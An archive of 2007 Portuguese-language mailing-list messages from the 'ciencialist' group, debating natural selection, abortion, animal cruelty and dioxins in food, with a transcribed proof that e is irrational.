TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/02/2007 23:24

Murilo:
depois de aposentavo vim pro mar, tinho carteira de mestre de pesca, um filho é marinheiro, começou agora, espero que em 6 anos seja oficial de náutica. Sou de familia ligada ao mar desde os avoengos que fugiram da irlanda e foram pra Portugal fazer cordas para as naves que cruzaram os mares nunca dantes navegados.... e, no barco, o cordeiro tinha função importante!!!

sds.,
silvio.


----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 12, 2007 9:17 PM
Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO


Silvio:
pra mim safo é uma gíria muito antiga ( uns 45 anos ), entre SP e MG.
Sem marinha.
Desistí de entrar na marinha p/encarar a legião estrangeira...
Eu queria é confusão.
Só que pouco antes disso, falou mais alto a minha educação... Fiquei +
sossegado! Me safei! :[
E vc, é marinheiro?
abr/M.

>From: "Silvio" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>Date: Mon, 12 Feb 2007 16:28:01 -0300
>
>Murilo:
>vs. é da marinha? (safo)
>
>silvio
>
> ----- Original Message -----
> From: murilo filo
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 08, 2007 9:54 PM
> Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>
>
>
>
> Eu também sabia... Estou safo!
>
> Atividade nos últimos dias
> a.. 1Novos usuários
> b.. 1Novas fotos
> Visite seu Grupo
> Yahoo! Mail
> Conecte-se ao mundo
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: P/Homero, um conselho:aprenda ética primeiro...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 23:32

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Moisés, pode ser considerado como um legislador, tal como Hamurabi e
> Talião.

Vc está dizendo q talião foi um legislador?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/02/2007 23:46

>>Jeff, essa sua capacidade de concluir que não há qualquer intenção nas
>>adaptações do organismo ao meio ambiente é surpreendente, pois vai contra
>>todas as evidências.
>>
>
> Esta conclusão não é minha, é do Charles Darwin. E é a explicação mais
> aceita até o momento para a origem e evolução das espécies. Na minha
> opinião, uma sacada genial.

aliás ele deixa isso claro em "o capelão do diabo" e é o único ou um dos 2
únicos pontos que discordo dele (ele também cita que é um dos poucos pontos
onde ele discorda de colegas) ... ainda sim a tese dele pode ter maior
fundamento que meu senso de realidade. não preciso perder anos de estudo
buscando isso sendo q minha área é outra :)

Ivan Carlos - Tecnologia - CIO / Social Eng. Specialist
Phone: +55 (11) 3147-7913 / Cell: +55 (11) 8112-0666
E-mail: icarlos@icarlos.net





SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 00:21

Olá, Chicão! Quem lhe disse que não pode fazer isso com humanos? Onde está
afinal a tão propalada liberdade dos cidadãos-contribuintes? O que não pode
é ser visto pelos, digamos, mais sensíveis. Há até os mais bondosos que usam
anestesia para evitar o sofrimento da vítima. Tanto pode que é feito
diariamente no Brasil e no mundo. Vimos semana passada três rapazes
arrastando uma criança de seis anos que, presa ao cinto de segurança, ia
quicando e se esbagaçando no asfalto irregular. Eram jovens de pouca
instrução e não houve uma intenção específica de fazer aquilo. O que eles
queriam mesmo era o carro. Mas se eles parassem para soltar o menino do
cinto seriam presos ou linchados. Entretanto, diariamente, há pessoas
educadas com nível universitário que, determinadas e conscientemente,
destroçam de diversas formas fetos ainda no útero materno. Só que ninguém
vê. Tudo muito bem asseado. No máximo uma cânula e um vaso coletor
sanguinolentos. Tudo muito civilizado, atendimento de 1° mundo. Apesar de
nesse caso, tanto a grávida como o médico terem a intenção definida e clara
de dar fim ao nascituro, ambos se consideram justificados por diversos
motivos. Ela se livra de um "problema" e ele embolsa mais uns trocados
fácil, fácil. Só dá complicação quando isso é denunciado por anti-abortistas
xiitas sensíveis, documentado, gravado, divulgado. Aí, as pessoas do
respeitável público ficam chocadas, indignadas, causa comoção nacional, atos
de protestos, mudança da legislação... Mas se não é divulgado, tudo bem! O
que os olhos dos outros não vêem o que cometi, os corações piedosos nada
sentem... E assim caminha a humanidade, nos enganando de que essa cultura da
crueldade, mantida em segredo nas nossas atitudes pessoais e decisões
particulares, só existe vez por outra, quando aparece em fotos chocantes nas
manchetes dos jornais e nas imagens da TV.

[]s

José Renato
...................................................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 10:15 AM
Subject: Re: [ciencialist] Crueldade com animais


> Por que nao posso fazer isso com um humano???
> Minha pergunta é simples mas ninguem responde.
> Por que será???
...................................
> --- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:
>> Olá,
>>
>> Vejam o link abaixo. Aconselho que assistam a todo o
>> vídeo.
>>
> http://www.strasbourgcurieux.com/fourrure/portugues.php
>>
>> []'s
>> Manuel Bulcão
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Álvaro Campos



SUBJECT: Re: [ciencialist] Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 00:29

>
>Jeff, essa sua capacidade de concluir que não há qualquer intenção nas
>adaptações do organismo ao meio ambiente é surpreendente, pois vai contra
>todas as evidências.
>

Esta conclusão não é minha, é do Charles Darwin. E é a explicação mais
aceita até o momento para a origem e evolução das espécies. Na minha
opinião, uma sacada genial.

Muita gente acha que entende a seleção natural, imaginando uma inteligência
no DNA capaz de detectar uma mudança no ambiente e de se alterar para
sobreviver. Mas a idéia é justamente o contrário. O DNA sofre alterações por
vários motivos, sem intenção alguma, e produzem seres mais adaptos (por
sorte) ou menos aptor (por azar) ao ambiente. Ao longo de várias gerações
vamos tendo mais descendentes dos que tiveram as alterações "boas". É só
isso.

E não só só seres vivos que sofrem uma seleceção natural, é tudo e o tempo
todo, desde que o universo existe! Inclusive, antes de existir o que
chamamos de vida, foi justamente a seleção natural que fez surgir uma
molécula que se replicava, dando origem a vida! Pedras em um rio são
selecionadas pela correnteza de acordo com o seu peso, por exemplo... Um
orifício em uma pedra só deixará entrar particulas menores que este
orifício. Veja que é o orifício que está selecionando o que entra nele e não
o contrário... Observe a sua volta e perceba que a seleção natural ocorre o
tempo todo e em todo lugar!

>
>Radiações nucleares e substâncias tóxicas provocam danos e não adaptações
>das estruturas genéticas.
>

Eu não disse "radiação nuclear" nem "substâncias tóxicas". Eu citei ondas
eletromagnéticas fracas e elementos químicos comun, que estamos o tempo todo
em contato, e podem causar alterações no núcleo de uma célula geminativa
produzindo uma nova característica nos descendentes...

Radiações muito energéticas costumam destruir grandes partes do DNA,
gerando, dependendo da célula, câncer ou má formação de um descendente...
Uma vez eu ví um documentário sobre soldados americanos que ficaram expostos
às radiações de bombas nucleares e tiveram filhos com má formação. Mas mesmo
uma radiação forte como esta pode, em uma condição especial, alterar uma
parte do DNA que seja bom pro descendente e ninguém fica sabendo!

>
>Há uma inversão em seu raciocínio. Não é a temperatura que faz a escolha,
>mas sim a estrutura genética que se adapta à temperatura ambiente. Do mesmo
>modo que não é o frio que nos agasalha, somos nós que nos "adaptamos" ao
>frio nos agasalhando. Percebeu a diferença?
>

Pegue uma boa população de alguma coisa, como ratos, por exemplo. Coloque-os
num aquário e ligue um aquecedor "no último" em cima... Se você não matar
todos, pegue os que sobraram, faça-os terem filhos e repita a operação com
os filhos... Se não matar todos, faça-os terem filhos e repita a operação...
Repita todos este processo umas 1000 vezes... Muitas das vezes sobrarão
indivíduos que tiveram sorte naquele momento e não exatamente porque eram
mais resistente ao calor, mas repitindo umas 1000 vezes, provavelmente no
final da experiência você terá ratos resistentes àquela temperatura! Foi a
temperatura que os selecionou, sacou?

É o mesmo que acontece com bactérias que são submetidas a antibióticos. É o
antibótico que seleciona as mais resistentes a ele.

[]´,s
Jeff.




SUBJECT: Re: [ciencialist] Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha de São Paulo)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 00:33

Olá, Homero! Quanto a questão da seleção natural proposta por Darwin eu já
tenho conhecimento. O que vc não conseguiu ver é que, nesse caso, a seleção
natural foi feita anteriormente e já está no ovo do quelônio. Essa seleção é
que permite agora ao ovo gerar macho ou fêmea conforme seja a temperatura
ambiente. Tenha um pouco mais de paciência que um dia ainda vou aprender a
me comunicar com vc.
Abraços
José Renato
.............................................

----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 5:37 PM
Subject: [ciencialist] Tartarugas, mamutes, e o engano de Jose Renato (era
Drauzio Varella - Folha de São Paulo)


Olá Jose Renato

Renato: "Há uma inversão em seu raciocínio. Não é a temperatura que faz a
escolha,
mas sim a estrutura genética que se adapta à temperatura ambiente. Do mesmo
modo que não é o frio que nos agasalha, somos nós que nos "adaptamos" ao
frio nos agasalhando. Percebeu a diferença?"

Sim, mas o erro continua sendo seu, Renato. E diversos co-listeiros tentaram
explicar isso, sem sucesso.

Vou tentar, mais uma vez, com seu próprio exemplo, o calor e o DNA na
formação de tartarugas.

Aleatoriamente, são formados, por mistura sexual, mutações sem objetivo,
danos causados por radiação e raios ultra-violetas (se forem BEEEM minimos,
claro), etc, diferenças genéticas que produzem reações diversas,
comportamentos diversos, bioquímica diversas, sem objetivo ou propósito.

Dentre as MILHARES de possibilidades, diferenças totalmente aleatórias,
aquelas que, por PURO ACASO se dão melhor no meio ambiete NAQUELE MOMENTO,
são selecionadas. E passarão a próxima geração, sendo que as outras não
passarão.

Assim, dentre as muitas possibilidades para reagir ao calor ambiente, apenas
aquelas que eram, por puro acaso, melhores naquele momento, restaram nos
genes e no DNA das tartarutgas.

NENHUMA tartaruga JAMAIS se adaptou ao qualquer coisa, qualquer ambiente ou
meio ambinete. Nunca. Cada tartaruga nasceu como morreu, genéticamente
falando, e passou, ou não, essas caracteristicas a seus descendentes. Mesmo
a espécie só "se adaptou" por acaso, por ser constituída dos individuos "que
sobraram" depois que os menos capazes foram eliminados. Mais uma vez,
elimindos por puro acaso, e não por um objetivo ou intencionalmente.

JAMAIS nos adaptamos ao frio, nenhum animal jamais o fez. Mesmo os mamutes
lanudos não se adaptaram, apenas "restaram" na espécie, descendentes de
mamutes sem pelo, aqueles que, acidentalmente, tinham, através da loteria
genética, mais pelos naquele momento.

Se um deles tivesse nascido muito antes da glaciação, teria tido menos
sucesso que os mais sem pelo, e não passaria esses genes, que recebeu por
acaso, para muitos descendentes. Se tivesse nascido muito depois da
glaciação, pelos a mais seriam contraprodutivos, e menos descendentes ainda
teriam. Mas em toda geração, nascem mamutes com mais ou menos pelos. Por
acaso. Toda geração, nascem sers humanos com mais ou menos pelos. Se uma
mudança ambiental comçar a matar (ou dificultar a vida) de seres humanos com
pouco pelo (eu estaria em apuros..:-), NENHUM deles se adaptará, jamais.

Mas os com mais pelos, terão mais descendentes, e em alguns milhares de
anos, todos os habitantes terão muitos pelos. Por acaso, apenas porque a
temperatura diminuiu.

Por acaso, porque em TODA geração, alguns nascem com mais e outros com menos
pelos, ele, o antepassado dos mamutes lanudos, nasceu em um início de
glaciação. Nesse ambiente, por acaso, sua coleção de pelos a mais, por
acaso, era vantajosa, por acaso. Assim, por acaso, este antepassado teve
mais sucesso em sobreviver e teve mais descendentes por isso, o que
resultou, algumas gerações adianta, por acaso, em mais mamutes com genes
para mais pelos, que mamutes com genes para menos pelos. Por acaso..:-)

Portanto, como demonstrado, É a temperatura que faz a escolha, escolhendo,
pela simples pressão de sua existência, os que melhor se adaptam, por acaso,
a ela. Se esquenta, alguns morrem e outros vivem. Se esfria, alguns morrem e
outros vivem. Quem morre e quem vive é algo a ser decidido POR ACASO. E que
caracteristicas você recebe ao nascer, é decidido também por acaso. Se, por
acaso, receber um gene para talassemia, pode ficar doente de anemia
falciforme. Mas, se por acaso nascer em uma região com malária, isso pode
salvar sua vida.

Se nascer em uma região sem malária, terá uma desvantagem frente aos seus
contemporâneos que não tem o gene para talassemia. Isso fará que, ao longo
das gerações, a maoria das pessoas não tenha o gene. Mas se nascer em uma
região com malária epidêmica, pode ser uma enorme vantagem ser resistente a
essa doença. Isso significa mais descendentes, e significa que, ao longo das
gerações, mais pessoas no grupo terão o gene para talassemia.

Perceba que NÃO IMPORTA o gene, nem há escolha quanto a isso. Nem o DNA pode
"se adaptar" a nada. Quem manda, quem ajusta os descendentes, é o ambiente,
a "temperatura" se desejar..:-)

A estrutura genética, uma vez formada, não muda mais, não se adapta, não se
ajusta, e nem mesmo sabe nada sobre o ambiente. Não tem intenção ou
inteligencia. Morre, se a estrutura for menos capaz, e sobrevive se for mais
capaz, por acaso.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: P/ Jose Renato - Re: Crueldade com animais
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 00:45

Olá Jose Renato

Renato: "tanto a grávida como o médico terem a intenção definida e
clara de dar fim ao nascituro, ambos se consideram justificados por
diversos motivos. Ela se livra de um "problema" e ele embolsa mais uns
trocados fácil, fácil. Só dá complicação quando isso é denunciado por
anti-abortistas xiitas sensíveis, documentado, gravado, divulgado."

Embora seu proselitismo religioso obsessivo canse, e o assunto esteja
esgotado, é difícil deixar passar sua insistência em "pintar" os que
pensam diferente de você, e que são a favor do aborto, como monstros
insensíveis, malvados, cruéis, que se divertem destruindo bebês
inocentes, enquanto os perfeitos e sensíveis anti-aborto tentam salvar
suas "alminhas" semeadas por deuses imaginários.

Não é simples assim, Renato. Os que são a favor do aborto tem tanta,
ou mais, consideração pela vida, pelas pessoas, por seres humanos, que
você e que anti-abortistas (muitos dispostos a matar pessoas que
certamente são seres humanos, como médicos e mulheres grávidas em nome
da defesa de células e mórulas).

São pessoas sérias, honestas, inteligentes, racionais, sensíveis, etc,
que embora compreendam que é uma questão difícil, não é uma questão
simples, de certo e errado, e não pode ser respondida com base em
superstições ancestrais.

O médico, ao praticar um aborto, compreende que é um potencial ser
humano, mas um potencial ser humano NÃO é um ser humano pleno. Também
compreende que, em um mundo ideal, ninguém ficaria grávida sem
desejar, e toda gestação seria plena (embora 8 em cada 10 fecundações
NÃO gere um ser humano, com ou sem aborto), mas este NÃO é um mundo
perfeito, e as mulheres ficam grávidas sem desejar, ou com problemas,
ou devido a falhas em métodos anti-concepcionais.

E certamente não é intenção dele "dar fim ao nascituro" (ou bebês
indefesos, como a falácia anti-aborto costuma chamar uma mórula), mas
evitar que a gestação prossiga. Muitos médicos, em clínicas públicas
(nos países em que são permitidas), trabalham de graça para ajudar
mulheres sem posses. Sua motivação é humanitária, da mesma forma como
você "acredita" ser a sua própria.

Em Portugal, seguindo o exemplo de países que, lentamente, se
civilizam e adotam leis mais racionais, o aborto ganhou o plebiscito.
Espero que não demore muito para o Brasil seguir seus passos.

E não se preocupe, poderá manter os princípios e superstições de sua
crença, e não terá de abortar, se não desejar. Mas será impedido de
obrigar os que NÃO tem as mesmas superstições sobre células fecundadas
de agirem como desejarem.

Um abraço.

Homero





SUBJECT: Foto Re: Meu livro no Submarino
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 01:09

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> > Oi Aline,
>
> > Nossa!!!!!!!!!! Que medo!!!!!!!!!! Vc é mesmo corajoso, heim!!!!!!!
>
> Manuel: Inteligente, bonito e corajoso. É pouco?

Jibóia é para fracos:

Sucuri ataca garoto no interior de São Paulo
Avô de 66 anos salva o neto após lutar meia hora com a cobra.
Menino sofre ferimento que foi costurado com 21 pontos.
http://g1.globo.com/Noticias/0,,MUL4677-5605-3777,00.html

Dizem q o deputado Clô Hernandes quer condecorar o vovô que agarrou a
cobra por 30 minutos.

[]s,

Roberto Takata



SUBJECT: Vai de carne branca, vai...
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
CC: veg-brasil@yahoogrupos.com.br
DATE: 13/02/2007 01:53

Isso mesmo.
Vai de carne branca.
Principalmente de galináceas criadas no quintal.

Vai lendo site de nutricionistinha vai.
E vai dizendo que eu não sei nada, vai.

Vai comendo dioxina, vai.

L.E.

http://eur-lex.europa.eu/LexUriServ/site/es/oj/2004/l_106/l_10620040415es00060007.pdf



REGLAMENTO (CE) No 684/2004 DE LA COMISIÓN
de 13 de abril de 2004
que modifica el Reglamento (CE) no 466/2001 en lo que se refiere a las dioxinas
(Texto pertinente a efectos del EEE)
LA COMISIÓN DE LAS COMUNIDADES EUROPEAS,

Visto el Tratado constitutivo de la Comunidad Europea,

Visto el Reglamento (CEE) no 315/93 del Consejo,
de 8 de febrero de 1993, por el que se establecen
procedimientos comunitarios en relación con los
contaminantes presentes en los productos
alimenticios (1), y, en particular, el apartado 3 de su artículo 2,

Considerando lo siguiente:
(1) El Reglamento (CE) no 466/2001 de la
Comisión, de 8 de marzo de 2001, por el que se
fija el contenido máximo de determinados
contaminantes en los productos alimenticios (2),
fija el contenido máximo de dioxinas en determinados productos alimenticios.

(2) El contenido máximo de dioxinas se aplica
desde el 1 de julio de 2002. La aplicación de las
disposiciones del texto ha puesto de manifiesto
la necesidad de aclarar la descripción de los
productos o de las partes del producto a los que se aplica el contenido máximo.

(3) Los datos disponibles indican que los huevos
de gallinas camperas y de gallinas criadas al
aire libre pueden contener niveles más elevados
de dioxinas que los huevos de las gallinas
criadas en batería. Es necesario tomar medidas
para garantizar la reducción de los niveles de
dioxinas en los huevos de gallinas camperas y de
gallinas criadas al aire libre. Si bien se había
previsto un período de transición para la
aplicación de estos niveles hasta el 1 de enero
de 2004, ahora parece que se necesita más tiempo
tanto para que las investigaciones puedan definir
posibles medidas para reducir los niveles de
dioxinas en los huevos de gallinas camperas y de
gallinas criadas al aire libre como para aplicar
estas medidas. Por lo tanto, procede ampliar el
período de transición en un año.

(4) Entretanto, se ha adoptado la Directiva
2002/69/CE de la Comisión, de 30 de julio de
2002, por la que se establecen los métodos de
muestreo y de análisis para el control oficial de
las dioxinas y la determinación de PCB similares
a las dioxinas en los productos alimenticios (3).

(5) Procede, pues, modificar el Reglamento (CE) no 466/ 2001 en consecuencia.

(6) Las medidas previstas en el presente
Reglamento se ajustan al dictamen del Comité
permanente de la cadena alimentaria y de sanidad animal.

HA ADOPTADO EL PRESENTE REGLAMENTO:

Artículo 1
La sección 5 del anexo I del Reglamento (CE) no
466/2001 se modificará como sigue:
1) En la primera columna, en el punto 5.1.2, las
palabras «Hígado y productos derivados» se
sustituirán por «Hígado y productos derivados
procedentes de animales terrestres».
2) En la primera columna, en el punto 5.2, se
añadirá la siguiente frase a la nota 5: «Si el
pez está destinado a ser consumido entero, el
contenido máximo se aplicará al pez entero».
3) En la primera columna, en el punto 5.4, en la
nota 8, la expresión «10 de enero de 2004» se
sustituirá por «1 de enero de 2005».
4) En la primera columna, punto «5.5 Aceites y
grasas», segundo guión, se sustituirá el término
«Aceites vegetales» por «Aceites y grasas vegetales».
5) En la tercera y cuarta columnas, del punto
5.1.1 al punto 5.5, se sustituirán las palabras
«Directiva 2001/.../CE» por «Directiva 2002/69/CE (9).
(9) DO L 209 de 6.8.2002, p. 5.».


Artículo 2
El presente Reglamento entrará en vigor el
vigésimo día siguiente al de su publicación en el
Diario Oficial de la Unión Europea.

L 106/6 ES Diario Oficial de la Unión Europea 15.4.2004
(1) DO L 37 de 13.2.1993, p 1; Reglamento
modificado por el Reglamento (CE) no 1882/2003
del Parlamento Europeo y del Consejo (DO L 284 de 31.10.2003, p. 1).

(2) DO L 77 de 16.3.2001, p. 1; Reglamento cuya
última modificación la constituye el Reglamento
(CE) no 455/2004 (DO L 74 de 12.3.2004, p. 11).

(3) DO L 209 de 6.8.2002, p. 5.

El presente Reglamento será obligatorio en todos
sus elementos y directamente aplicable en cada Estado miembro.

Hecho en Bruselas, el 13 de abril de 2004.
Por la Comisión
David BYRNE
Miembro de la Comisión
15.4.2004 ES Diario Oficial de la Unión Europea L 106/7


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: EMBRAPA e Ciencia, 1
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 01:55


>
>Vs. escreve como se estivesse no tempo dfe Nero:
>principal bem de consumo nos humanos são os
>alimentos. Existem, pelo mundo, milhares de
>fábricas, com excelentes laboratórios de
>pesquisas - O Brasil tem na Embrapa o maior
>orgulho que podemos ter nessa terra arrazada,
>pesquisados da mais alta capacidade procurando
>alimentos cada vez mais saudaveis e mais baratos
>simplesmente porquê é um bom negócio. -
silvio, capiau honorário.







Tas assistindo muita propaganda, hein ?

L.E.






















=



SUBJECT: EMBRAPA propagandeada...
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 01:56

Coluna C.H.
11/02/2007





Fina estampa

A Embrapa prorrogou por mais oito meses o
contrato de publicidade com a agência
McCann-Erickson, ao valor de R$ 4 milhões.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Professor da Uefs verifica erro em simbologia matemática
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 02:13

Terceira parte de 3 de transcrição de trechos do livro "e: a história
de um número" de Eli Maor, 2003, Ed. Record, R, Janeiro, 291 pp.

-----------------------
"A existência de lim (1 + 1/n)^n quando n -> <infinito>

Primeiro mostramos que a seqüência
S<n> = 1 + 1/1! + 1/2! +... + 1/n!, n = 1, 2, 3,..
converge para um limite à medida que n cresce indefinidamente. Esta
soma aumenta com cada termo adicional, e assim temos S<n> < S<n+1>
para todo n; isto é, a seqüência S<n> aumenta monotonamente. Começando
com n = 3, também teremos n! = 1.2.3... n > 1.2.2.2....2 = 2^(n-1);
portanto,
S<n> < 1 + 1 + 1/2 + 1/2^2 + ... + 1/2^(n-1)
para n = 3, 4, 5, ... Agora, nesta última soma, os termos a partir do
segundo formam uma progressão geométrica de razão 1/2. O somatório
desta progressão é (1 – 1/2^n)/(1 – 1/2) = 2(1 – 1/2^n) < 2; Daí
teremos que S<n> < 1 + 2 = 3, mostrando que a seqüência S<n> é
limitada superiormente por 3 (isto é, os valores de S<n> nunca excedem
3). Então usamos um bem conhecido teorema de análise. Toda seqüência
monótona crescente e limitada, tende para um limite quando n ->
<infinito>. Assim S<n> converge para um limite S. Nossa prova também
mostra que S encontra-se entre 2 e 3.
Agora vamos considerar a seqüência T<n> = (1 + 1/n)^n. Mostraremos que
esta seqüência converge para o mesmo limite de S<n>. Pelo teorema
binomial,
T<n> = 1 + n.1/n + {[n.(n-1)]/2!}.1/n^2 + ... +
{[n(n-1)(n-2)...1]/n!}.1/n^n
= 1 + 1 + (1 – 1/n).1/2 + ... + (1 – 1/n)(1 – 2/n)... (1 – [n – 1]/n).1/n!
Como a expressão dentro de cada par de parênteses é menor do que 1,
temos T<n> <= S<n> (na verdade T<n> < S<n> a partir de n = 2).
Portanto, a seqüência T<n> também tem um limite superior. Além disso
T<n> é monótona crescente, porque substituir n por n + 1 só faz a soma
aumentar. Assim, T<n> também converge para um limite à medida que n ->
<infinito>. Chamamos esse limite de T.
Agora mostramos que S = T. Como S<n> >= T<n> para todo n, teremos S >=
T. Vamos demonstrar que, ao mesmo tempo S <= T. Seja m < n um inteiro
fixo. Os primeiros termos m + 1 de T<n> são:
1 + 1 + (1 – 1/n).1/2! + (1 – 1/n)(1 – 2/n)...(1 – [m – 1]/n).1/m!
Como m < n e todos os termos são positivos, esta última soma é menor
do que T<n>. Agora vamos deixar n aumentar sem limites enquanto
mantemos m fixo. A soma tenderá para S<m> enquanto T<n> tenderá para
T. Assim temos S<m> <= T, e, conseqüentemente, S <= T. Como já
mostramos que S >= T, segue-se que S = T, que é exatamente o que
queremos provar. O limite T, é claro, é o número `e'.
Agora vamos provar que `e' é irracional. Nossa prova é indireta:
Presuminos que `e' seja racional e então mostramos que esta suposição
leva a um contradição. Vamos fazer e = p/q, onde p e q são inteiros.
Já mostramos que 2 < `e' <3, assim `e' não pode ser um inteiro e
conseqüentemente o denominador `q' deve ser pelo menos 2. Agora
multipliquemos ambos os lados da equação
e = 1 + 1/n! + 1/2! + 1/3! + ... + 1/n! + ...
por q! = 1.2.3... q. No lado esquerdo nos dá
e.q! = (p/q).1.2.3..., q = p.1.2.3...(q – 1)
enquanto no direito temos
[[q! + q! + 3.4....q + 4.5.... q + ... + (q-1).q + q + 1]] + 1/(q + 1)
+ 1/[(q + 1)(q +2)] + ...
(note que o 1 dentro das chaves vem do termo 1/q! na série do e). O
lado esquerdo é obiviamente um inteiro, porque trata-se de um produtos
de inteiros. No lado direito a expressão dentro das chaves [[ ]]
também é um inteiro. Mas os termos remanescentes não são inteiros
porque cada denominador é pelo menos 3. Agora mostraremos que sua
soma, também não é um inteiro. Como q >= 2, temos
1/(q+1) + 1/([q + 1][q + 2]) + ... <= 1/3 + 1/(3.4) + ....
< 1/3 + 1/3^2 + 1/3^3 +... = (1/3).1(1 – 1/3) = 1/2
onde usamos a fórmula para a soma de um série geométrica infinita a +
ar + ar^2 + ... a!(1 – r) para /r/ < 1. Com isso temos um inteiro no
lado esquerdo da equação e um não inteiro no lado direito, obviamente
uma contradição. Daí segue que `e' não pode ser uma razão entre dois
inteiros – ele é irracional."
Pp: 260-2.
------------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: Lourenço <listaslou@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 02:17

Parece que não era só a SS que era cruel.

http://noticias.terra.com.br/mundo/interna/0,,OI1404609-EI312,00.html


Até.

Lourenço.

listaslou@yahoo.com.br

"Não discuta com idiotas, eles te levam até o nível deles e te vencem por serem experientes"



----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 12, 2007 9:12 PM
Subject: [ciencialist] Re: Crueldade com animais


--- Em ciencialist@yahoogrupos.com.br, "Silvio" <scordeiroes@...>
escreveu
>
> Oa Nazistas tambem fizeram nos campos de concentração e ainda tinham
o trabalho de tatuar detalhes nas peles das cobaias.

Oficiais da SS e da Gestapo tinham livros encapados com pele humana.
Também usavam os cabelos dos prisioneiros para preencherem estofados.

Os nazistas chegaram a fabricar sabão tendo como matéria-prima a
gordura humana.

O nazista Koch e sua mulher Elza tinham abajures de pele humana na casa
onde moravam dentro de Majdanek.

Abraços,
Manuel Bulcão






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 09:14

>
>O que que é isso?
>Jamais nos adaptamos ao frio? Nenhum animal o fez?
>

Ele quis dizer que não se adapta, é selecionado. Dizer que um ser se adapta,
dá a impressão de que ele desejou isso, o que não é verdade.

[]',s
Jeff.



SUBJECT: Re: [ciencialist] OFF Topic: a questão da carne - objetividade
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 10:15

Olá

1-Não fui eu que escrevi sobre a tal engrenagem, acho q foi
o ricardo

2-Sim, os problmas de objetividade não emprerram a ciencia,
é fato que ela está aí aumentando seu conhecimento do mundo

3-bom, eu pergunto, quais sAO estes macetes que ajudam os
cienctistas a superar os problemas de objetividade?

Sérgio

*
--- José Renato <jrma@terra.com.br> escreveu:

> Sérgio escreveu:
> [ Uma grande engrenagem empurrando o conhecimento humano
> adiante, apesar de
> todos
> problemas inerentes ao "design" do próprio ser humano. ]
> ..............................
>
> José Renato comenta:
> Se fosse para fazermos tudo "certinho" seríamos criados
> robô. Os instintos
> são alguns "softwares" no homem animal irracional. Mas, à
> medida que o ser
> humano toma conhecimento de si mesmo, de suas
> potencialidades e
> responsabilidades, ele deixa de ser um robozinho
> programado para a
> sobrevivência e passa a decidir suas ações de acordo com
> sua vontade
> intelectual consciente, e não mais conduzido apenas pelos
> programinhas
> determinantes dos instintos. Ao contrário, usa suas
> aptidões e instintos
> básicos para transcender, conscientemente, em seu espaço
> limitado através da
> criatividade, imaginação, trabalho e realizações que
> permanecem, mesmo após
> sua morte.
> []s
> José Renato
> .....................................................
>
> From: "Ricardo" <ricardos@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, February 10, 2007 7:52 PM
> Subject: Re: [ciencialist] OFF Topic: a questão da carne
> - objetividade
>
>
> > Sérgio,
> >
> > Eu quis dizer que a nossa percepção falha é mais uma
> justificativa para a
> > busca pela objetividade. A impossibilidade de se
> atingir a objetividade
> > pura, sem qualquer influência pessoal, só dá ainda mais
> valor a uma busca
> > constante pela maior isenção na observador.
> >
> > Mas eu concordo sim, que para alguns, talvez muitos, a
> ciência seja vista
> > um
